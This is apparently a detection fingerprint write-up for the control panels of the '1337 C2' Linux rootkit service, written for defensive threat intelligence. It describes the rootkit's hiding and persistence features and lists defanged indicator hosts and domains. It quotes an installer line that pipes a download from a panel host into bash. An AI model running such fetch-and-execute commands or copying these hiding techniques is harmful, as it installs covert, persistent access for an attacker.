1337_GWTK ('1337 C2') Linux rootkit control panels

Control panels of 1337_GWTK, a Linux malware-as-a-service sold as '1337 C2'. A bash installer fetched from the panel (curl -sk <panel>/api/install | bash, with variants for older kernels) builds or downloads a kernel rootkit, gtwk_module, which hides the operator's processes, files and network connections, blocks kernel updates and restarts the agent when it is killed. The Go agent, gtwk_app, runs commands, moves files and takes screenshots for the panel. The panel's login page already carries the whole operator dashboard, so it can be recognised before anyone logs in. A match means a page built from that panel, or a scan of a known panel host such as 217.76.55[.]116, 109.199.105[.]207 or 109.199.110[.]80, the seller's site markasescobar[.]com (also served as refocusanalytics[.]com), or 'AutoRoot C2', a second panel on the same servers.